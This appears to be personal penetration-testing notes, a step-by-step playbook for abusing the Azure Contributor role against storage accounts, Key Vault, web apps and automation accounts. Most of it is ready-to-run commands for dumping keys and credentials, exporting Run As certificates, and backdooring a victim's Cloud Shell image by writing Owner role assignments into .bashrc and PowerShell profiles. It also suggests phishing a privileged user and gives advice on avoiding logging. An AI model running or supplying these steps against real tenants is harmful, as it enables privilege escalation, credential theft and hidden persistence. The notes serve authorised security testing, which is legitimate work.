oscp/Necronomicon/Cloud/Azure/Contributor Permissions/PaaS Exploitation.md

- Storage accounts
	- Contributor role has these management plane permissions and can use them to exploit the data plane:
		- Microsoft.Storage/storageAccounts/listkeys/action - read access keys of storage accounts
		- Microsoft.Storage/storageAccounts/listAccountSas/action - Generate SAS token for data plane access at storage account level
		- Microsoft.Storage/storageAccounts/listServiceSas/action - Generate SAS token for data plane access at service level
	- MicroBurst
		- Dump credentials from Azure Storage instances (can also do other accounts)
			- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
			- Can use the keys to access these services to extract data or other credentials
		- Open Azure Storage Explorer
			- Authenticate with name from previous command and account key
	- Lava
		- `stg_blob_download` - Automatically download all blob containers in subscription
	- Azure Cloud Shell
		- https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-cloud-shell/
		- Mount the image to view sensitive info and also force it to execute commands the next time it is mounted (automatically when Cloud Shell starts)
		- Auth to CLI as Contributor
			- `az login -u contributoruser@<domain_name> -p <contributor_user_password>`
		- Start Lava
			- `python3 lava.py`
		- Verify permissions
			- `exec priv_show`
		- Scan for Cloud Shell images
			- `exec stg_file_scan`
		- Download files in file shares (can take a while if there are a lot)
			- `exec stg_file_download` - Note the download location for later
		- Exit Lava
			- `exit`
		- Mount IMG file
			- `mount <download_location>/.cloudconsole/acc_azureadmin.img /mnt`
		- Cd into mounted file, write malicious command to .bashrc or .config/PowerShell/Microsoft.PowerShell_profile.ps1
			- `echo "az role assignment create --role "Owner" --assignee $(az ad user list --display-name contributoruser | jq '.[]' | jq -r '.userPrincipalName') &>/dev/null" >> .bashrc`
			- `echo "New-AzRoleAssignment -UserPrincipalName (Get-AzADUser -StartsWith contributoruser).UserPrincipalName -RoleDefinitionName Owner | out-null" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1`
		- Unmount
			- `umount /mnt`
		- Get name of storage account
			- `az storage account list --query [].name -o tsv` - look for one that starts with "cs"
			- `storagename=<storage_acct_name>`
		- Get access key and file share and upload image
			- `key=$(az storage account keys list -n $storagename --query [0].value -o tsv)`
			- `csfileshare=$(az storage share list --account-key $key --account-name $storagename --query [].name -o tsv)`
			- `az storage file upload --account-key $key --account-name $storagename --share-name $csfileshare --path ".cloudconsole/acc_azureadmin.img" --source "<download_location>/.cloudconsole/acc_azureadmin.img"`
		- Wait for privileged account to open Azure Cloud Shell, or send phishing email with a link to the shell to the user
		- Clean up Owner permissions
			- `$upnsuffix=$(az ad signed-in-user show --query userPrincipalName --output tsv | sed 's/.*@//')`
			- `$contributoruser = "contributoruser@$upnsuffix"`
			- `$contributoruserid=$(az ad user list --upn $contributoruser --query [].objectId -o tsv)`
			- `az role assignment delete --assignee $contributoruserid --role "Owner"`
		- Remember to remove backdoored command in Azure Cloud Shell
		
- Key Vault
	- Contributor has no access to data plane by default, but has this permission on the management plane to give itself perms:
		- `Microsoft.KeyVault/vaults/accessPolicies/write`
		- OPSEC NOTE: Changing these permissions may be logged; try to use other principals that already have authorization (such as automation Run as, app registrations, and managed identities)
			- Automation accounts: Create a new runbook that uses the Run as account to access the key vault. 
			- App registrations: Authenticate as the app registration and access the key vault.
			- Managed Identities: Generate REST API tokens for the identity to access the key vault with.
		- Can also add access policy that allows the account to generate a trusted certificate - used in supply-chain attack
	- MicroBurst
		- Dump sensitive info from Key Vaults by temporarily changing permissions and reverting them
			- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys Y -ACR N -CosmosDB N -ModifyPolicies Y -Verbose | Out-GridView`

- Web apps
	- Collect publish profile, containing credentials
		- `Get-AzWebAppPublishingProfile`
		- MicroBurst
			- `Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
	- Find FTP endpoint to review/modify app files:
		- `az webapp deployment list-publishing-profiles --name <appname> --resource-group <group-name> --query "[? ends_with(profileName, 'FTP')].{profileName: profileName, publishUrl: publishUrl}"`
	- Can use Console in Azure Portal or the SCM interface
		-  $APP_NAME.scm.azurewebsites.net
			- Can auth to this with the publish profile creds
	- Keep in mind these usually have managed identities too
	- [Lateral Movement in Azure App Services (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/lateral-movement-azure-app-services/)
	
- Automation Accounts
	- Review runbook code to find credentials
	- Extract stored account credentials and Run as account certificates
		- Write credential variables to job output
			- `$myCredential = Get-AutomationPSCredential -Name 'Cred-1'`
			- `$userName = $myCredential.UserName`
			- `$password = $myCredential.GetNetworkCredential().Password`
			- `$username`
			- `$password`
		- Export Run as certificates
			- `$RunAsCert = Get-AutomationCertificate -Name 'AzureRunAsCertificate'`
			- `$CertificatePath = Join-Path $env:temp RunAsCertificate.pfx`
			- `$Cert = $RunAsCert.Export('pfx','CertificatePassword')`
			- `Set-Content -Value $Cert -Path $CertificatePath -Force -Encoding Byte | Write-Verbose`
			- `$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('$CertificatePath))`
			- `$base64string`
		- MicroBurst
			- `Get-AzPasswords -AppServices N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
			- Note that this will create files with a Run as certificate (pfx) and a script to log in as that Run as account
			- Can also use the REST API
				- `Get-AzAutomationAccountCredsREST`
				- https://github.com/NetSPI/MicroBurst/blob/master/REST/Get-AzAutomationAccountCredsREST.ps1